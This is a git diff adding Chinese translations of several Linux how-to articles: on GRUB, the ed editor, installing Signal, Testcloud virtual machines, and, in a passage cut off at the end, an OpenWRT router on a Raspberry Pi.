+[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14427-1.html) +[#]: subject: (Linux Jargon Buster: What is Grub in Linux? What is it Used for?) +[#]: via: (https://itsfoss.com/what-is-grub/) +[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) + +Linux 黑话解释:Linux 中的 GRUB 是什么? +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/03/111835u4rcmcf7qze8pawa.png) + +如果你曾经使用过 Linux 桌面,你一定见过这个屏幕。这就是所谓的 GRUB 屏幕。是的,它的字母全部都是大写的。 + +![Remember this screen? This is GRUB][1] + +在 “Linux 黑话解释Linux Jargon Buster”系列的这一个章节中,我将告诉你 GRUB 是什么,以及它有什么用处。此外,我还会简要地介绍一下配置和定制的部分。 + +### GRUB 是什么? + +[GRUB][2] 是一个用于加载和管理系统启动的完整程序。它是 Linux 发行版中最常见的引导程序bootloader。引导程序是计算机启动时运行的第一个软件。它加载 [操作系统的内核][3],然后再由内核初始化操作系统的其他部分(包括 Shell、[显示管理器][4]、[桌面环境][5] 等等)。 + +### 引导程序和引导管理器 + +我不想现在就把你搞糊涂,但是我认为这个话题是不可避免的。引导程序boot loader引导管理器boot manager之间有着一条模糊的界限。 + +你已经知道了引导程序是什么。它会首先启动,然后将内核加载到内存中并执行它。引导管理器则允许你在不同的操作系统之间进行选择(如果你的电脑上不止一个操作系统的话)。引导管理器并不会直接加载系统。 + +随着 Linux 内核 3.3 版本的推出,[Linux 内核包括了一个内置的 EFI 引导程序][6]。事实上,任何一个[支持 EFI 的系统都包括一个 EFI 引导程序][7]。在支持 EFI 的系统中,固件会读取 EFI 系统分区EFI System Partition(ESP)中的 EFI 文件,从而获得启动信息。 + +这里插入一张图片,图中显示了带有 ESP 分区的分区表: + +![][8] + +GRUB 既是一个引导程序,也是一个引导管理器。一会儿我再来谈 GRUB。让我们先看看其他类似 GRUB 的程序。 + +> 小知识:GRUB 是 **GR**and **U**nified **B**ootloader(大一统引导程序) 的首字母缩写。 + +### GRUB 屏幕上的那些行是什么意思? + +你会在 GRUB 屏幕上看到几行字。这些行对于不同的设置、不同的发行版会有所不同。 + +通常情况下,第一行是你的 Linux 发行版。如果你看到类似高级选项的东西,你可以进入其中,找到一些以 “linux-generic-x-y-z” 等开头的行。 + +当你的 Linux 发行版更新内核版本时,它至少会保留一个旧版本。你可以选择启动到旧的 Linux 内核,以防你的系统遇到新更新的 Linux 内核的任何问题。 + +在基于 Ubuntu 的发行版中,你也可以看到一个恢复选项。 + +![][8a] + +*在高级选项下,通常有一个旧的内核版本和恢复选项* + +在最后,你可能会看到一个条目,如系统设置或 UEFI 设置,以访问系统的 BIOS 设置。 + +### 还有哪些类似 GRUB 的引导管理器? + +GRUB 是 Linux 中最流行的引导管理器。但它并不是唯一的一个。有一个高度可定制的引导管理器,名字叫做 [rEFInd 引导管理器][9],它同样受到了一些 Linux 用户的喜爱。 + +![定制化的 rEFInd 引导管理器屏幕 | 图片来源:kofler.info/pop_os][10] + +还有一个基于文本的引导管理器,名字叫做 [systemd-boot][11]。你可以猜到这是专为基于 systemd 的 Linux 发行版准备的。有一些发行版正在使用 systemd-boot,比如 Pop OS。 + +![Pop OS 中的 systemd-boot | 图片来源:kofler.info/pop_os][12] + +### 访问或编辑 GRUB + +通常你看到的 GRUB 屏幕是它的菜单界面。如果你安装了一个以上的操作系统,它会允许你在其中选择一个来启动。如果你的 Linux 发行版安装了不止一个内核,你也可以选择加载不同的内核。 + +根据不同的 Linux 发行版的配置,你的 GRUB 菜单上可能会有一些其他选项。 + +你可以在 GRUB 菜单界面按 `e` 键来编辑菜单项。这样你就可以在内核加载前修改它的参数。例如,在某些情况下,[禁用内核提供的图形驱动可以帮助你解决 Linux 系统在启动时卡住的问题][13]。 + +![][14] + +你也可以在 GRUB 菜单界面上按 `c` 键来进入 GRUB 的命令行菜单。 + +### GRUB 配置文件 + +你在菜单界面里对 GRUB 所做的任何改变都是暂时的。如果你想对 GRUB 做一些永久性的改变,比如改变默认的超时时间,你可以在 Linux 系统启动后修改 GRUB 配置文件。 + +默认的 GRUB 配置文件是 `/etc/default/grub`。还有一个 `/etc/default/grub.d` 目录,里面也存放一些配置。你可以直接编辑 `/etc/default/grub` 文件,但是我还是建议通过在这个目录中添加配置文件(`.cfg` 文件)进行额外的修改。 + +![默认的 GRUB 配置文件][15] + +你必须 [更新 GRUB 才能使这些修改生效][16]。 + +### 使用 GRUB 定制器来定制 GRUB + +如果你不太习惯 [在终端里使用文本编辑器编辑文件][17],你可以 [使用一个叫做 GRUB 定制器的图形工具][18]。 + +它允许你改变启动顺序、默认超时时间等等。你还可以用它来把 GRUB 的背景设置成一张自定义的墙纸。 + +![][19] + +GRUB 定制器可以在 Ubuntu 20.04 中从 Universe 仓库安装,在 Ubuntu 18.04 中 [通过 PPA 安装][22]。它可以 [通过 AUR][23] 在基于 Arch Linux 的发行版中使用。 + +### 总结 + +至此,本文几乎涉及到了所有与 GRUB 相关的简单内容。至于 EFI、引导加载和 GRUB 本身,它们都是详细而复杂的话题,因此不在本文的讨论范围之内。这篇文章旨在给你一个关于 GRUB 引导程序的总体概述。 + +或许我以后会写一篇关于 GRUB 的详细指南,解释它底层的一些细节。目前,如果你想了解更多关于 GRUB 的信息,你可以在你的 Linux 终端里使用 `info grub` 命令访问到 GRUB 文档。 + +![你可以在终端中访问 GRUB 手册][20] + +我希望你现在对什么是 GRUB 有了一点点的了解。这里有一个 GIF 动图供你一乐。 + +![什么是 GRUB? UEFI 再也伤害不到我了 :)][21] + +或许我没有回答你关于 GRUB 的所有疑问,但请随时在评论区告诉我。我可能会根据你的问题或建议来更新这篇文章。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/what-is-grub/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/11/grub-screen-linux.png?resize=800%2C450&ssl=1 +[2]: https://www.gnu.org/software/grub/ +[3]: https://itsfoss.com/what-is-linux/ +[4]: https://linux.cn/article-12773-1.html +[5]: https://linux.cn/article-12579-1.html +[6]: https://www.rodsbooks.com/efi-bootloaders/efistub.html +[7]: https://jdebp.eu/FGA/efi-boot-process.html +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/11/disk-partition-gparted.png?resize=744%2C385&ssl=1 +[8a]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2012/07/boot-into-recovery-mode-ubuntu-1.jpg?w=635&ssl=1 +[9]: https://www.rodsbooks.com/refind/ +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/11/refind-boot-manager.png?resize=800%2C602&ssl=1 +[11]: https://wiki.gentoo.org/wiki/Systemd-boot +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/11/systemd-boot.png?resize=714%2C333&ssl=1 +[13]: https://itsfoss.com/fix-ubuntu-freezing/ +[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2019/04/editing-grub-to-fix-nvidia-issue.jpg?resize=800%2C343&ssl=1 +[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/11/default-grub-config-file.png?resize=759%2C437&ssl=1 +[16]: https://itsfoss.com/update-grub/ +[17]: https://itsfoss.com/command-line-text-editors-linux/ +[18]: https://itsfoss.com/grub-customizer-ubuntu/ +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2013/05/make-windows-default-grub-2.jpeg?resize=799%2C435&ssl=1 +[20]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/11/grub-manual-Linux-terminal.png?resize=800%2C462&ssl=1 +[21]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/11/what_is_GRUB.gif?resize=500%2C343&ssl=1 +[22]: https://itsfoss.com/ppa-guide/ +[23]: https://itsfoss.com/aur-arch-linux/ \ No newline at end of file diff --git a/published/202204/20201212 Power up your Linux terminal text editor with ed.md b/published/202204/20201212 Power up your Linux terminal text editor with ed.md new file mode 100644 index 0000000000..c7cd6df825 --- /dev/null +++ b/published/202204/20201212 Power up your Linux terminal text editor with ed.md @@ -0,0 +1,188 @@ +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14431-1.html) +[#]: subject: (Power up your Linux terminal text editor with ed) +[#]: via: (https://opensource.com/article/20/12/gnu-ed) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) + +在 Linux 终端上使用行编辑器 ed +====== + +> 这个看似简单的编辑器为用户提供了许多易于学习和使用的命令。 + +![](https://img.linux.net.cn/data/attachment/album/202204/04/145334l9w92ngiccginicn.jpg) + +GNU `ed` 命令是一个行编辑器。它被认为是标准的 Unix 文本编辑器,因为它是首个出现在 Unix 的文本编辑器,并且它曾经无处不在,你在任何一个 POSIX 系统中都能找到它(通常来说,你现在也可以)。在某种程度上,你可以很容易看出来它是第一个文本编辑器,因为它在许多方面的功能都十分基础。和其他大多数的文本编辑器不同,它不会打开一个属于自己的窗口或显示区域,事实上,在默认情况下,它甚至不会提示用户输入文字。从另一个方面来说,它在交互功能上的缺失也可以成为一个优点。它是一个多功能的编辑器,你可以用简短的命令控制它,无论是在交互式的命令行中,还是在编写的 shell 脚本里。 + +### 安装 ed + +如果你正在使用 Linux 或者 BSD 的话,你很可能已经默认安装了 `ed`(在 Linux 上是 GNU 版 `ed`,而在 BSD 上是 BSD 版 `ed`)。但是,一些极简的环境可能没有包括 `ed`,这也没关系,你的发行版的软件仓库中很可能有 `ed` 可供下载。macOS 默认安装了 BSD 版 `ed`。 + +### 启动 ed + +当你启动 `ed` 的时候,你的终端提示符不见了,看起来好像是 `ed` 停止运行了。其实它没有,它只是在等待你输入指令而已。 + +``` +$ ed +``` + +为使 `ed` 显示更详细的信息,你可以输入命令 `p` 让它返回一个提示符: + +``` +$ ed +p +? +``` + +这个问号(`?`)是默认的 `ed` 提示符。 + +### 缓冲区 + +当 `ed` 激活时,你其实是在和一个叫 缓冲区buffer 的东西打交道。缓冲区是内存中的一块区域。你并不会直接编辑文件,而是在编辑它对应的缓冲区。当你退出 `ed` 却没有把修改保存到磁盘的文件上时,所有的修改都会丢失,因为它们只在缓冲区里存在。(这对于一个已经习惯了初始的 草图缓冲区scratch buffer 的资深 Emacs 用户可能很耳熟。) + +### 使用 ed 输入文本 + +启动 `ed` 后,你处于命令模式。这意味着你可以向编辑器发送指令,比如让它显示一个提示符,而不是空白区域。你可以使用 `a` 命令开始附加文本到当前的缓冲区,使用一个实心的点 `.` 来终止输入。比如,下面的这个例子往缓冲区里附加了两行文字(“hello world” 和 “hello ed”): + +``` +? +a +hello world +hello ed +. +``` + +使用点 `.` 终止输入后,你将回到命令模式。 + +### 查看缓冲区 + +怎样查看当前缓冲区里都有什么呢?你可以输入想要查看的行号,也可以使用 `,p` 命令来显示所有的行: + +``` +? +1 +hello world +2 +hello ed +,p +hello world +hello ed +``` + +### 写入文件 + +如果你现在对文本很满意,你可以使用 `w` 命令把缓冲区写入到文件中,后面跟上目标文件名: + +``` +? +w example.txt +19 +``` + +写操作后显示的那个数字代表着写入到文件中的字符数。 + +### 读取文件 + +除了使用 `ed` 来读取文本,你也可以使用 `r` 命令把一个已经存在的文件加载到到缓冲区里: + +``` +? +r myfile.txt +``` + +另外,你也可以在启动 `ed` 时,在它后面加上你想要加载到缓冲区里的文件名: + +``` +$ ed myfile.txt +``` + +### 编辑缓冲区 + +鉴于 `ed` 是一个文本编辑器,你当然可以使用一种特殊的语法来编辑缓冲区里的文本。使用 `sed` 或 `vim` 的用户或许会觉得这个语法很熟悉。假设现在缓冲区里已经加载了一个文件: + +``` +$ ed myfile.txt +,p +This is an example document. +There is some text, but not much. +There is some errors, but not much. +``` + +如果你要把第一句话中的 `document` 修改为 `file`,你可以先选择目标行(`1`),然后使用 `s` 命令调用搜索函数,后面跟着搜索文本和替换文本: + +``` +? +1 +This is an example document. +s/document/file/ +1 +This is an example file. +``` + +如果你要编辑其他行,步骤也是一样的,只需提供一个不同的行号即可: + +``` +? +3 +There is some errors, but not much. +s/is/are/ +s/much/many/ +``` + +你可以使用 `,p` 命令来看到你对缓冲区的历史编辑记录: + +``` +This is an example file. +There is some text, but not much. +There are some errors, but not many. +``` + +当然,这些修改只存在于缓冲区里。你如果在 `ed` 编辑器外查看这个文件,你只会看到原始的文本: + +``` +$ cat myfile.txt +This is an example document. +There is some text, but not much. +There is some errors, but not much. +``` + +如果你要把这些修改保存回文件中,使用 `w` 命令即可: + +``` +w myfile.txt +258 +``` + +### 清空缓冲区 + +如果想要得到一个新的缓冲区,以此来打开一个新的文件,或者把一个新的文件加载到不同的环境中,你可以使用 `c` 命令。使用这个清空缓冲区后,什么也不会输出,因为缓冲已经是空的了: + +``` +c +,p +``` + +### 退出 + +如果要退出当前的 `ed` 会话,你可以使用 `q` 命令。它并不会给你一个保存缓冲区的机会,所以你要确保自己在这之前执行了保存操作。 + +### 尝试一下 ed 吧 + +`ed` 还可以做到很多事情,学习 `ed` 可以让你知道它和部分的 `vim` 是如何工作的。我并没有尝试使用 `ed` 来写这篇文章,老实说,我也不认为它是通常意义上的最佳文本编辑器。但是,`ed` 仍然是一个出色的编辑器。通过阅读它的文档,你可以很轻松地学会它。在 GNU 系统上,你可以使用 `info ed` 来查看它的操作手册。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/12/gnu-ed + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/terminal_command_linux_desktop_code.jpg?itok=p5sQ6ODE (Terminal command prompt on orange background) diff --git a/published/202204/20210116 Install Privacy-friendly WhatsApp Alternative Signal on Linux Desktop.md b/published/202204/20210116 Install Privacy-friendly WhatsApp Alternative Signal on Linux Desktop.md new file mode 100644 index 0000000000..cb92ac0274 --- /dev/null +++ b/published/202204/20210116 Install Privacy-friendly WhatsApp Alternative Signal on Linux Desktop.md @@ -0,0 +1,156 @@ +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14419-1.html" +[#]: subject: "Install Privacy-friendly WhatsApp Alternative Signal on Linux Desktop" +[#]: via: "https://itsfoss.com/install-signal-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" + +在 Linux 桌面上安装隐私友好的 Signal +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/01/101558k7l28z2lh3h8655h.jpg) + +自从我们报道将 Signal 作为即时通讯软件的理想选择以来,已经过去一年多了。虽然具有隐私意识的人和静态技术的人已经意识到了这个了不起的软件的存在,与此同时,在最近的 WhatsApp 隐私政策更新之后,Signal 更是得到了很多人的褒奖。 + +无论什么原因,如果你对 Signal 一无所知,想知道是否能在桌面上使用 Signal,那么答案是肯定的。你可以在 Linux、Windows 和 macOS 系统以及智能手机上安装 Signal。 + +![Signal Messenger on Pop OS Linux distribution][3] + +我不打算强调 Signal 的功能,因为你可能已经有所了解。我只想向你展示在 Linux 桌面上安装 Signal 的不同方法: + + * 用 Snap 包在 Liunx 上安装 Signal(Snap 应用程序需要更长的时间来加载,但可以获得自动更新和轻松的安装) + * 用 apt 包在基于 Debian 和 Ubuntu 的发行版上安装 Signal(添加软件库需要额外的操作,但已安装的应用程序会自动更新) + * 用 AUR 在 Arch 和 Manjaro Linux 上安装 Signal + * 用 Flatpak 包在 Fedora 等 Linux 系统上安装 Signal + +你可以基于你的发行版和偏好来选择这些安装方法的其中一种: + +### 方法 1:用 Snap 包在 Linux 上安装 Signal + +如果你正在使用 Ubuntu,你可以在软件中心找到 Signal 桌面版程序的 Snap 格式的软件包。 + +![][4] + +或者,你可以在任何 [有 Snap 包支持功能的 Linux 发行版][6] 上 [使用 Snap 命令][5] 安装 Signal。 + +``` +sudo snap install signal-desktop +``` + +你可以使用 `snap remove` 命令或者从软件中心删除它。 + +有些人不喜欢 Snap 包是因为它们启动时间太长。好消息是你能够使用 `apt` 命令来安装 Signal。下一节我们讨论它。 + +### 方法 2:通过 apt 在基于 Debian 和 Ubuntu 的发行版上安装 Signal(使用官方 Signal 仓库) + +这里是你在 Debian、Ubuntu、Linux Mint、elementary OS 和基于 Debian/Ubuntu 的其他发行版中安装 Signal 必须遵循的步骤。你可以 [复制这些命令并将其粘贴到终端][7]。 + +第一件事是得到官方 Signal 仓库的 GPG 密钥,并且把它加入到你的 APT 包管理器可信任的密钥中。 + +``` +wget -O- https://updates.signal.org/desktop/apt/keys.asc | sudo apt-key add - +``` + +密钥添加之后,你可以将仓库安全的添加的你的系统中。**不要因为仓库名称使用了 xenial 就惊慌失措**。它可以在 Ubuntu 18.04、20.04 和更新的版本以及 Debian、Mint 等系统中工作。 + +``` +echo "deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main" | sudo tee -a /etc/apt/sources.list.d/signal-xenial.list +``` + +借助 [Linux 的 tee 命令][8],在 `/etc/apt/sources.list.d` 目录下你将会有一个叫做 `signal-xenial.list` 的新文件。这个新文件有 Signal 仓库信息即 `deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main`。 + +既然你已经添加了仓库,那么来更新缓存并安装 Signal 桌面程序吧: + +``` +sudo apt update && sudo apt install signal-desktop +``` + +一旦安装成功,在程序菜单找到 Signal 然后启动它。 + +![][9] + +由于你已经添加了仓库,你安装的 Signal 程序将会伴随系统日常更新而自动更新。 + +享受在 Linux 桌面上使用 Signal 加密通讯的乐趣吧。 + +#### 删除 Signal + +如果我不分享给你删除的步骤,那么指南是不完整的。让我们看一下。 + +首先,删除该程序: + +``` +sudo apt remove signal-desktop +``` + +你可以留下它,也可以从系统中删除 Signal 仓库。对你来说是都是可以的。仓库继续在系统里的话,你可以轻松的再次安装 Signal。如果你删除了仓库的话,你得按照之前的步骤再次重新添加仓库。 + +如果你也想同时删除掉 Signal 仓库,你可以选择图形化方法,通过“软件和更新”工具,在那里删除它。 + +![][10] + +或者,你可以用 `rm` 命令来删除这个文件: + +``` +rm -i /etc/apt/sources.list.d/signal-xenial.list +``` + +### 方法 3:用 AUR 在 Arch 和 Manjaro Linux 上安装 Signal + +通过 [AUR][12] 在 [基于 Arch 的 Linux 发行版][11] 上安装 Signal 是有效的。如果你在 Manjaro 上使用 Pamac 并且启用了 AUR,在包管理器里你可以找到 Signal。 + +否则,你可以经常 [使用 AUR 辅助工具][13]。 + +``` +sudo yay -Ss +``` + +我相信你能够在相似的功能中删除 Signal。 + +### 方法 4:用 Flatpak 包在 Fedora 等 Linux 系统上安装 Signal + +Signal 没有 RPM 的安装文件。然而,[Flatpak 包是有的][14],你可以在 Fedora 上用它来安装 Signal。 + +``` +flatpak install flathub org.signal.Signal +``` + +一旦安装成功,你可以从菜单中运行它,或者在终端中输入以下命令: + +``` +flatpak run org.signal.Signal +``` + + +Signal 和 Telegram 是抛弃掉 WhatsApp 的两个主流而可行的选择。这两个软件都提供原生的 Linux 桌面程序。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-signal-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/signal-messaging-app/ +[2]: https://signal.org/ +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2019/12/signal-shot.jpg?resize=800%2C565&ssl=1 +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/signal-desktop-ubuntu.png?resize=800%2C425&ssl=1 +[5]: https://itsfoss.com/use-snap-packages-ubuntu-16-04/ +[6]: https://itsfoss.com/install-snap-linux/ +[7]: https://itsfoss.com/copy-paste-linux-terminal/ +[8]: https://linuxhandbook.com/tee-command/ +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/signal-app-in-ubuntu.jpg?resize=795%2C230&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/remove-signal-repository.png?resize=800%2C401&ssl=1 +[11]: https://itsfoss.com/arch-based-linux-distros/ +[12]: https://itsfoss.com/aur-arch-linux/ +[13]: https://itsfoss.com/best-aur-helpers/ +[14]: https://flathub.org/apps/details/org.signal.Signal +[15]: https://t.me/joinchat/AAAAAEPRGUJrEE1itjpH6A diff --git a/published/202204/20210126 Automate setup and delivery for virtual machines in the cloud.md b/published/202204/20210126 Automate setup and delivery for virtual machines in the cloud.md new file mode 100644 index 0000000000..704d98bcc7 --- /dev/null +++ b/published/202204/20210126 Automate setup and delivery for virtual machines in the cloud.md @@ -0,0 +1,160 @@ +[#]: collector: (lujun9972) +[#]: translator: (hwlife) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14524-1.html) +[#]: subject: (Automate setup and delivery for virtual machines in the cloud) +[#]: via: (https://opensource.com/article/21/1/testcloud-virtual-machines) +[#]: author: (Sumantro Mukherjee https://opensource.com/users/sumantro) + +在云端自动化设置和交付虚拟机 +====== + +> 通过使用 Testcloud 自动化设置过程并交付一个准备运行的虚拟机,在几分钟之内准备好一个云镜像。 + +![](https://img.linux.net.cn/data/attachment/album/202204/30/130336l2l1a77p7m8hwp28.jpg) + +如果你是一个在云端使用 Fedora [qcow2 镜像][2] 的开发者或者爱好者,在一个镜像准备使用之前,你总是不得不做一大堆初始化设置。我对此深有体会,所以我很想找到一种使设置过程更加简单的方法。碰巧,整个 Fedora 质量保证团队也有同感,所以我们开发了 [Testcloud][3] 。 + +Testcloud 是一个可以轻松的在几分钟之内准备云镜像测试的工具。它用几个命令就可以在云端自动化设置并交付准备运行的虚拟机(VM)。 + +Testcloud: + + 1. 下载 qcow2 镜像 + 2. 用你选择的名称创建实例 + 3. 创建一个密码为 `passw0rd`,用户名为 `fedora` 的用户 + 4. 分配一个 IP 地址,以便于你之后用 SSH 登录到云端 + 5. 启动、停止、删除和列出一个实例 + +### 安装 Testcloud + +要开始你的旅程,首先你必须安装 Testcloud 软件包。你可以通过终端或者“软件”应用来安装它。在这两种情况下,软件包的名字都是 `testcloud` 。用以下命令安装: + +``` +$ sudo dnf install testcloud -y +``` + +一旦安装完成,将你所需要的用户添加到 `testcloud` 用户组,这有助于 Testcloud 自动完成设置过程的剩余部分。执行这两个命令,添加你的用户到 `testcloud` 用户组,并通过提升组权限重启会话: + +``` +$ sudo usermod -a -G testcloud $USER +$ su - $USER +``` + +![添加用户到 testcloud 组][4] + +### 像老手一样玩转云镜像 + +一旦你的用户获得了所需的组权限,创建一个实例: + +``` +$ testcloud instance create -u +``` + +或者,你可以使用 `fedora:latest/fedora:XX`(`XX` 是你的 Fedora 发行版本)来代替 完整的 URL 地址: + +``` +$ testcloud instance create -u fedora:latest +``` + +这将返回你的虚拟机的 IP 地址: + +``` +$ testcloud instance create testcloud272593 -u https://download.fedoraproject.org/pub/fedora/linux/releases/33/Cloud/x86_64/images/Fedora-Cloud-Base-33-1.2.x86_64.qcow2 +[...] +INFO:Successfully booted instance testcloud272593 +The IP of vm testcloud272593: 192.168.122.202 +------------------------------------------------------------ +To connect to the VM, use the following command (password is 'passw0rd'): +ssh fedora@192.168.122.202 +``` + +你可以用默认用户 `fedora` 登录,密码是 `passw0rd`(注意是零)。你可以使用 `ssh`、`virt-manager` 或者支持连接到 libvirt 虚拟机方式来连接到它。 + +另一种创建 Fedora 云的方式是: + +``` +$ testcloud instance create testcloud193 -u fedora:33 + +WARNING:Not proceeding with backingstore cleanup because there are some testcloud instances running. +You can fix this by following command(s): +testcloud instance stop testcloud272593 + +DEBUG:Local downloads will be stored in /var/lib/testcloud/backingstores. +DEBUG:successfully changed SELinux context for image /var/lib/testcloud/backingstores/Fedora-Cloud-Base-33-1.2.x86_64.qcow2 +DEBUG:Creating instance directories +DEBUG:creating seed image /var/lib/testcloud/instances/testcloud193/testcloud193-seed.img +INFO:Seed image generated successfully +INFO:Successfully booted instance testcloud193 +The IP of vm testcloud193: 192.168.122.225 +------------------------------------------------------------ +To connect to the VM, use the following command (password is 'passw0rd'): +ssh fedora@192.168.122.225 +------------------------------------------------------------ +``` + +### 玩转实例 + +Testcloud 可以用来管理实例。这包括像列出镜像或者停止和启动一个实例等活动。 + +要列出实例,使用 `list` 子命令: + +``` +$ testcloud instance list                 +Name                            IP                      State     +------------------------------------------------------------ +testcloud272593                 192.168.122.202         running     +testcloud193                    192.168.122.225         running     +testcloud252793                 192.168.122.146         shutoff     +testcloud93                     192.168.122.152         shutoff +``` + +要停止一个运行的实例: + +``` +$ testcloud instance stop testcloud193   +DEBUG:stop instance: testcloud193 +DEBUG:stopping instance testcloud193. +``` + +要删除一个实例: + +``` +$ testcloud instance destroy testcloud193   +DEBUG:remove instance: testcloud193 +DEBUG:removing instance testcloud193 from libvirt. +DEBUG:Unregistering instance from libvirt. +DEBUG:removing instance /var/lib/testcloud/instances/testcloud193 from disk +``` + +要重启一个运行中的实例: + +``` +$ testcloud instance reboot testcloud93                                                                                         +DEBUG:stop instance: testcloud93 +[...] +INFO:Successfully booted instance testcloud93 +The IP of vm testcloud93:  192.168.122.152 +usage: testcloud [-h] {instance,image} ... +``` + +尝试一下 Testcloud ,在评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/testcloud-virtual-machines + +作者:[Sumantro Mukherjee][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tips_map_guide_ebook_help_troubleshooting_lightbulb_520.png?itok=L0BQHgjr (Looking at a map) +[2]: https://en.wikipedia.org/wiki/Qcow +[3]: https://pagure.io/testcloud +[4]: https://opensource.com/sites/default/files/uploads/adduser.png (Add user to testcloud group) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/published/202204/20210312 Build a router with mobile connectivity using Raspberry Pi.md b/published/202204/20210312 Build a router with mobile connectivity using Raspberry Pi.md new file mode 100644 index 0000000000..f4dcea7ed1 --- /dev/null +++ b/published/202204/20210312 Build a router with mobile connectivity using Raspberry Pi.md @@ -0,0 +1,256 @@ +[#]: subject: (Build a router with mobile connectivity using Raspberry Pi) +[#]: via: (https://opensource.com/article/21/3/router-raspberry-pi) +[#]: author: (Lukas Janėnas https://opensource.com/users/lukasjan) +[#]: collector: (lujun9972) +[#]: translator: (hwlife) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14474-1.html) + +使用树莓派建立一个带有移动网络连接功能的路由器 +====== + +> 在你的网络路由器上使用 OpenWRT 获得更多控制功能。 + +![Mesh networking connected dots][1] + +树莓派是一种小型单板电脑,尽管只有信用卡大小,但是能做许多事情。实际上,这个小电脑几乎可以成为你想让它成为的任何东西,只要你打开想象力。 + +树莓派爱好者已经做了许多不同的项目,从简单的程序到复杂的自动化项目和解决方案,如气象站,甚至智能家居设备。这篇文章将展示怎样使用 OpenWRT 项目将你的树莓派变成带有 LTE 移动网络连接功能的路由器。 + +### 关于 OpenWRT 和 LTE + +[OpenWRT][2] 是一个利用 Linux 内核为嵌入式设备开发的开源项目,它已经存在超过 15 年了,拥有一个庞大而活跃的社区。 + +有许多使用 OpenWRT 的方法,但是它的主要目的还是用在路由器上。它提供了包管理功能和一个完全可写的文件系统,并且因为它的的开源属性,你可以查看和修改代码,并贡献到开源生态。如果你想对你的路由器获得更多的控制,这就是你想要的系统。 + +长期演进技术Long-term evolution(LTE)是一个基于 GSM/EGDE 和 UMTS/HSPA 技术的无线宽带通信标准。我使用的 LTE 调制解调器是一个 USB 设备,可以为树莓派电脑增加 3G 或 4G(LTE)蜂窝连接。 + +![Teltonika TRM240 modem][3] + +### 安装前的准备 + +对这个项目来说,你需要: + + * 一个带有电源线的树莓派 + * 一台运行 Linux 的电脑 + * 一张至少 16GB 的 SD 储存卡 + * 以太网线 + * LTE 调制解调器(我使用的是 Teltonika [TRM240][5]) + * 一张移动网络的 SIM 卡 + +### 安装 OpenWRT + +首先,下载最新的 [兼容树莓派的 OpenWRT 的发布版本][6]。在 OpenWRT 官网,你可以看到 4 个镜像:两个 **ext4** 文件系统的和两个 **squashfs** 文件系统的。我使用 **ext4** 文件系统。你可以下载 **factory** 或者 **sysupgrade** 镜像,这两个都运行良好。 + +![OpenWRT image files][7] + +下载了镜像后,你按照 [以下的说明][8] 需要解压并安装它到 SD 卡上。这将会花些时间安装固件,需要些耐心。一旦安装完成,在你的 SD 卡上将会有两个分区。一个是用来放 bootloader ,另一个是 OpenWRT 系统。 + + +### 启动系统 + +要启动你的新系统,插入 SD 卡到树莓派,用以太网线把树莓派和你的路由器(或者交换机)相连,然后点亮。 + +如果你有使用树莓派的经验,你可能习惯于通过终端使用 SSH 